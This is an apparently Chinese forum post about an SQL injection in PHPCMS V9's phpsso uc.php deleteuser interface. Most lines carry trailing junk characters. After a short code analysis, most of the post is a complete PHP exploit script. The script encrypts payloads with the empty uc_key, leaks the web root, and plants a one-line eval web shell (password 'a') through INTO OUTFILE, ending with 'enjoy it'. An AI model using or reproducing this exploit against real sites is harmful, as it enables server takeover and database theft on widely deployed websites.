PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。- u! H# Q$ q, X! |2 ?- u8 T: t
! p# e. y% _1 R% a; n( e0 I
所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。
: r+ v' f6 W3 s2 i8 A. F: q2 N
& s8 m7 M1 `0 U; S' X, \6 h漏洞分析:- u/ G0 k( y3 P9 l
1.未启用ucenter服务的情况下uc_key为空
$ ^* g9 m3 x$ ^9 \define('UC_KEY', pc_base::load_config('system', 'uc_key'));
) g4 H) r, j- Y* \+ q. J- o1 M2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。7 E+ K7 \& X( P- ?+ R+ L1 M
public function deleteuser($get,$post) {
" I9 O9 _' K1 d% G/ n7 f% N% C7 Z5 M pc_base::load_app_func('global', 'admin');
% n1 p* D+ L; d$ G( V& @ pc_base::load_app_class('messagequeue', 'admin' , 0);
1 H$ w$ O& J: X A& d+ ^ $ids = new_stripslashes($get['ids']);
$ M U' L0 I2 S/ e: s' o) ~; F $s = $this->member_db->select("ucuserid in ($ids)", "uid");
; B/ d1 T& B, y; jSQL语句为
0 L) H( N( C) \, M7 s' f8 c8 _SELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)
9 l8 o1 j" g6 {" `
0 J. q% S5 K9 z, c- A1 M; l: ~利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell
0 ]5 A, b+ f: m; X- ?<?php% Z6 |8 K& H. `- y7 i; C
print_r('
! w7 C2 H" E0 s7 Z8 `3 u+ l0 i---------------------------------------------------------------------------
2 l3 z0 t9 r: l# W8 a- E6 O: H4 LPHPcms (v9 or Old Version) uc api sql injection 0day, v' D G+ R6 F# F
by rayh4c#80sec.com0 T+ ]/ q; b* Y
---------------------------------------------------------------------------
0 j& i% H' {8 y: H' }/ C( M');
1 m v% a+ k4 j3 r( I% {8 b: I( t
* E/ H' m1 }. G" |# c/ H. n! P" uif ($argc<3) {# y) \+ i6 O1 U8 L3 J3 ~; ~7 n' O
print_r('8 o$ L; e4 V, B6 m
---------------------------------------------------------------------------
" `7 j' e: p# D9 c% l! R" |- T$ {. zUsage: php '.$argv[0].' host path OPTIONS
% h: p5 {; P* X9 l$ ^host: target server (ip/hostname)- j I3 R9 W& K* X& \4 z
path: path to phpcms
; {, P' U, r0 v+ I+ f2 VOptions:
/ `( n+ f( E' e' j -p[port]: specify a port other than 80
/ Y+ n" s$ l8 s. @/ \ -P[ip:port]: specify a proxy
3 d) k, [) p9 K% Q5 o% JExample:$ |( w. ~) S2 `" Y
php '.$argv[0].' localhost // A, M" X2 Z! [2 b
php '.$argv[0].' localhost /phpcms/ -p81& r4 z M9 \6 {5 m4 B9 K
php '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80
; x3 q3 y5 J& S0 j---------------------------------------------------------------------------4 g; X, e: q# R$ s7 x5 m) t1 ^/ `
');. A v8 S1 l0 a4 T
die;" L4 [& _$ @1 Y7 h. N1 m3 b
}: i# _' U7 Y3 Z6 A% o1 Q
( _3 q3 |/ \' Y# }3 \error_reporting(7);; S6 |, y% L- r2 F3 Q
ini_set("max_execution_time",0);; w R1 l: M9 p# p* K
ini_set("default_socket_timeout",5);
& m& V/ r. S: b# Q: o' ?8 A: f" M% O8 C, x- ~4 `
function quick_dump($string)
! _( F" I$ ]6 N, V) y1 J# p{
: i& C& v5 H, c0 \1 \ $result='';$exa='';$cont=0;: w& ~% S7 m- y2 r$ p# p
for ($i=0; $i<=strlen($string)-1; $i++)* |0 p6 Y) V; K7 V7 K) f
{: w7 a9 g# U- |
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))9 d3 u8 `/ ^6 Z1 q' g/ C
{$result.=" .";}
5 m c6 [2 ^! V else
/ s2 S: ~- M* `. ^0 G, e* [1 o% d {$result.=" ".$string[$i];}
3 G9 v& r& h% { if (strlen(dechex(ord($string[$i])))==2)
/ C4 {# f. F7 w& A {$exa.=" ".dechex(ord($string[$i]));}
( e: R, {0 x% p# ^9 f: b else
9 p* W6 v5 z# _1 b/ u' | {$exa.=" 0".dechex(ord($string[$i]));}
8 n0 j# a# ~7 s0 g3 `: q- w* s& b' c $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}4 L v( n& J$ w* Q. V) R) ^
}
& }* \! d" b3 Y2 U% `2 G return $exa."\r\n".$result;
' V/ n6 {& M/ R4 _2 V* u' k}
% t5 r& r4 A( D0 d- _9 N$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';& _" x3 T6 j) i! Q& W6 Q
9 Y. X. v8 X9 p1 \5 Y7 E5 Q8 C6 _5 dfunction send($packet)
" N% r( u! L9 z) Z; Y4 a{
* V% y% s; n) f6 e* q$ [0 Q- G! |, F! g global $proxy, $host, $port, $html, $proxy_regex;" I, |. `& V9 W' a; ]
if ($proxy=='') {/ V3 n5 w6 E7 i& r, V- _
$ock=fsockopen(gethostbyname($host),$port);( ]8 g0 Y2 X5 ]( o5 C
if (!$ock) {
3 t% R& g3 \. K( E, O' @6 x echo 'No response from '.$host.':'.$port; die;* \$ j& M7 X% u: C
}
+ H: l/ U- B" h- O$ T0 r8 w }9 k) n+ c) P* [( v. g1 C/ R- k
else {! |3 f! J) X+ u9 }
$c = preg_match($proxy_regex,$proxy);! ?) L' l G9 d4 T; ]) b
if (!$c) {
2 o" O0 `0 G: b) s/ A% I/ H echo 'Not a valid proxy...';die;
" Z4 y9 V6 e+ D# W! i2 g }
& R) R7 f3 ]( f' m* }! H% N0 s $parts=explode(':',$proxy);& t9 \: [, ^' A Z
$parts[1]=(int)$parts[1];
+ f6 O8 ^$ G# Y9 j: [ echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";( b+ o5 e i+ j5 [& o1 M3 E
$ock=fsockopen($parts[0],$parts[1]);
% G+ J/ T1 E2 ~) P if (!$ock) {2 d: [2 y$ K6 D
echo 'No response from proxy...';die;0 [& N: F6 j0 H
}3 a/ w: o& M" ?4 d
}
1 p/ h( c- C3 U ~7 L% y, S. i3 \ fputs($ock,$packet);
# s) x" g- W; `* P4 T1 I5 s4 g if ($proxy=='') {& K/ @4 ?* A8 I
$html='';
& X' J1 D# @' ^% ?+ P, E7 I" R while (!feof($ock)) {
W( E7 w5 ^! T H& G2 D1 T2 ^* K $html.=fgets($ock);
+ g, |) b0 a: C4 E }3 l7 u' J* \) |5 q0 t
}
, G+ T6 t6 P$ I# u' Q1 p, Y else {
* F% z9 k2 ~0 z* y $html='';
, A& @! b2 o% Q7 s1 y! ~ while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {5 q- J$ }, |" T8 y6 b
$html.=fread($ock,1);
9 _) Y' c; D) y# v# Y) O }$ f" D4 L! k/ ~/ w
}
+ }2 L+ j5 e6 K$ J+ N$ ~8 | fclose($ock);
$ a! Q( M3 }: K: |; Q; {}( ^% N; O$ f2 c7 U
9 d9 z9 v4 v, q0 n9 X2 q f
$host=$argv[1];
4 @- U: u! c) t9 Y0 d* b$path=$argv[2];
0 n q! y" j/ X8 h$ D$port=80;: {, A9 I$ g# Y- W
$proxy="";
- B U2 S( f( I- O, c' Tfor ($i=3; $i<$argc; $i++){
6 x( \' a# D* ^8 p$temp=$argv[$i][0].$argv[$i][1];# V( m$ X" h; @2 u$ K
if ($temp=="-p")1 X# B, s+ p7 j" x1 W. ^, a
{
; d: U' ^) F+ D- S) a w; @ $port=(int)str_replace("-p","",$argv[$i]);( L$ \4 |9 A& ~9 O4 z) U8 T4 h
}( R" b8 `" ~' E+ K! e
if ($temp=="-P")
, ^4 C( b6 ~- n) I9 A% p{
E4 l& X7 v$ u $proxy=str_replace("-P","",$argv[$i]);, O! u1 w, W0 f
} r) f m% {1 ~; U2 c
}
( Y$ Z7 _5 a j$ v' ?2 w: ^) ?6 v5 r; W5 r9 _8 Q' ]
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
4 e: t! s, A$ o U3 z: S% Jif ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}9 v) y( Y% y9 u( h& l! r
+ ~* O, z, h" X" M! Tfunction authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {( {% |5 `& {0 l8 N+ a
1 i2 |) `- s/ j
$ckey_length = 4;5 G. L* D0 l7 g; j( W: ^
* } e, t% O! b2 w
$key = md5($key ? $key : '');
f) ~9 R0 } h* p) e ?; @+ Q4 e+ N $keya = md5(substr($key, 0, 16));( {) L4 k5 b1 N+ E$ B
$keyb = md5(substr($key, 16, 16));
% U* O7 ~. p+ ?; s7 \) N( @. [ $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';4 D8 R1 A. H" ?% e3 G
( d( j8 }; N. x( z $cryptkey = $keya.md5($keya.$keyc);
( ^$ t6 w9 Q) T' D3 a $key_length = strlen($cryptkey);1 ^( Z) b7 ^% v
* p+ u0 I2 f( L1 u6 }$ j# [
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
4 c0 ~8 Q/ Z3 Z $string_length = strlen($string);
5 D9 b$ k# t' V B0 v4 T/ u1 q9 B& ^% ~
$result = '';: G3 M% X0 Y- R8 B% l# ~' O* v
$box = range(0, 255);
. n$ f7 g; C9 |- l( N8 T$ h! _3 N
$ S' O! n/ C* _2 U $rndkey = array();
, u' n! u/ W) Z for($i = 0; $i <= 255; $i++) {
S0 f/ G+ v- W $rndkey[$i] = ord($cryptkey[$i % $key_length]);
! l/ W% H. J1 x, y4 R9 p }! ^+ S; N3 o' X- a; L
( ]4 {" @" Y$ p0 x( v A for($j = $i = 0; $i < 256; $i++) {
* S% [) G4 ~: \ $j = ($j + $box[$i] + $rndkey[$i]) % 256;6 p* N/ p- g% i6 \' N
$tmp = $box[$i];
* o: g0 Y7 w$ v u; V" { S $box[$i] = $box[$j];: F m* T4 o/ {
$box[$j] = $tmp;
1 y2 u# Y$ J$ D4 a6 a, o n }
: \7 C8 j9 u+ y5 f$ n% i& x$ {7 Q& P2 o% n1 ^. ^
for($a = $j = $i = 0; $i < $string_length; $i++) {( u, i1 l1 i# j/ f* f1 Z
$a = ($a + 1) % 256;
) h4 W4 k' s0 x7 [/ a3 G% { $j = ($j + $box[$a]) % 256;
( m) Z) s3 F: u $tmp = $box[$a];% A c6 o. o1 ^+ L$ X2 L9 J
$box[$a] = $box[$j];" a5 w' @" C" X3 W+ s0 M: _
$box[$j] = $tmp;8 P3 K3 }) U* s4 v
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
* X' S4 A) s& A1 T }2 h, O* A4 x, |9 t$ _1 ?
O- |$ L1 g1 t2 e7 n4 P if($operation == 'DECODE') {# B! N. j! e5 n6 H
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
$ {: w; P) E# V# n5 T% H! C0 Y return substr($result, 26);
, A8 O9 `; m, y+ m! ~ } else {* F" j; P# R1 y4 e# f
return '';; ^ x. e- C- X1 }
}& T6 E; r8 H- q; \
} else {
# D( j }% ~9 @ return $keyc.str_replace('=', '', base64_encode($result));% k M. y9 z3 T; n& `6 d7 z
}
) S5 N, R6 m. V% Y l, I6 r( z- ` |! F5 o! F, n! S
}; e7 U* s' F' E/ _0 g& j! d9 M
( c5 _6 w9 l0 a$ ^ {
$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";7 m( T1 E" ]; I1 w5 o
$SQL = urlencode(authcode($SQL, "ENCODE", ""));
( e, J& J# o/ i/ Kecho "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";' l( H, h1 _+ I: x# a- e% ~
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";9 Q4 M& Q7 S* Y! p2 h
$packet.="User-Agent: Mozilla/5.0\r\n";7 X) R( X$ f7 l, P5 U' ~% Y
$packet.="Host: ".$host."\r\n";
) N! m* E2 ?2 t% ]8 x$packet.="Connection: Close\r\n\r\n";/ b7 O7 I3 r s' Y
send($packet);2 a) @7 |! e& F6 \! k+ Q
if(strpos($html,"MySQL Errno") > 0){
5 ^2 V/ u% A8 q1 vecho "[2] 发现存在SQL注入漏洞"."\n";: v* u+ T; Y6 l- j8 U" h
echo "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";6 r/ ] J/ S, F: C) }. I' U
$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";
0 B% B6 D% F: K$ }; b$packet.="User-Agent: Mozilla/5.0\r\n";
5 r( J- [2 s7 g" v, q5 ]) d7 c# b$packet.="Host: ".$host."\r\n";
# s- U5 {- k& P' b4 j- M$packet.="Connection: Close\r\n\r\n";4 T1 `8 p s; b D- F( Y# G- e; l: l/ p
send($packet);
2 m& }1 |5 ?5 c, s* ~+ W9 H% _preg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);
& ~5 [2 H2 O* T* O* @) V7 v" y//print_r($matches);/ i1 `4 P* q1 c u, u; ~
if(!empty($matches)){
6 q% b! C- o2 iecho "[4] 得到web路径 " . $matches[0]."\n";6 `# o+ ~& u l# W# q
echo "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";
5 Q" S3 {+ A' w, e, |: q$SQL = "time=999999999999999999999999&ids=1)";
, |) x5 k+ \( }8 H$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";# U& [: R- @9 Z5 Z* @$ H: ]
$SQL.="&action=deleteuser";* y' u8 l2 e- R+ {
$SQL = urlencode(authcode($SQL, "ENCODE", ""));4 m4 S; j: F7 ?' x A2 J
echo "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
+ O' c( c \5 I' F$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
9 Q, S7 F/ p8 y4 Q, \$packet.="User-Agent: Mozilla/5.0\r\n";+ B9 M, x, z e3 I9 p* \: b
$packet.="Host: ".$host."\r\n";
" c. ~ G0 C+ ]& M& z$ ? B" O$packet.="Connection: Close\r\n\r\n";
7 a+ P+ `- k& y, Nsend($packet); d- i. h9 x; d& b
if(strpos($html,"Access denied") > 0){
* q& B5 G* d% i5 b5 d# }echo "[-] MYSQL权限过低 禁止写入文件 ";
9 F) s( m' Z, N1 ^: qdie; d+ _# `9 Z, q6 i
}* U) }1 @0 h) e! S0 @. y0 X
echo "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";
* m* a5 P7 d& {5 u1 Q. |# n$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";
; F% T. F. u% [- V# d ^7 [" Q! c$packet.="User-Agent: Mozilla/5.0\r\n";: z/ \: d5 f9 C) Z% s& g8 _( `
$packet.="Host: ".$host."\r\n";
3 i0 `# t1 B; X2 }' L' ^6 s9 ^$ T- X$packet.="Connection: Close\r\n\r\n";
7 d3 G/ E' ?4 A5 U3 bsend($packet);
1 r; f, R& P" F, k2 ]; Sif(strpos($html,"<title>phpinfo()</title>") > 0){
, E8 h; A& R% aecho "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";
, m4 _0 M7 f+ |4 y}
* e2 N( ~- u( t' D! V9 S; Z( M}else{% ^ x( I9 ?0 e
echo "[-]未取到web路径 ";
/ I& i. j9 `/ N% l2 O$ n}
; p" o' A$ x: i/ j0 _- N2 D6 h+ t}else{
5 h1 u* U' n- `" T( {echo "[*]不存在SQL注入漏洞"."\n";& V9 g; }8 V0 |
}+ e* F+ U( O" t5 b- [4 N5 k% z* t4 B
$ w& ]/ B# ~, S7 T5 E) M# |( `# Y
?>$ u; N3 u9 M" \0 L, c/ g3 M
|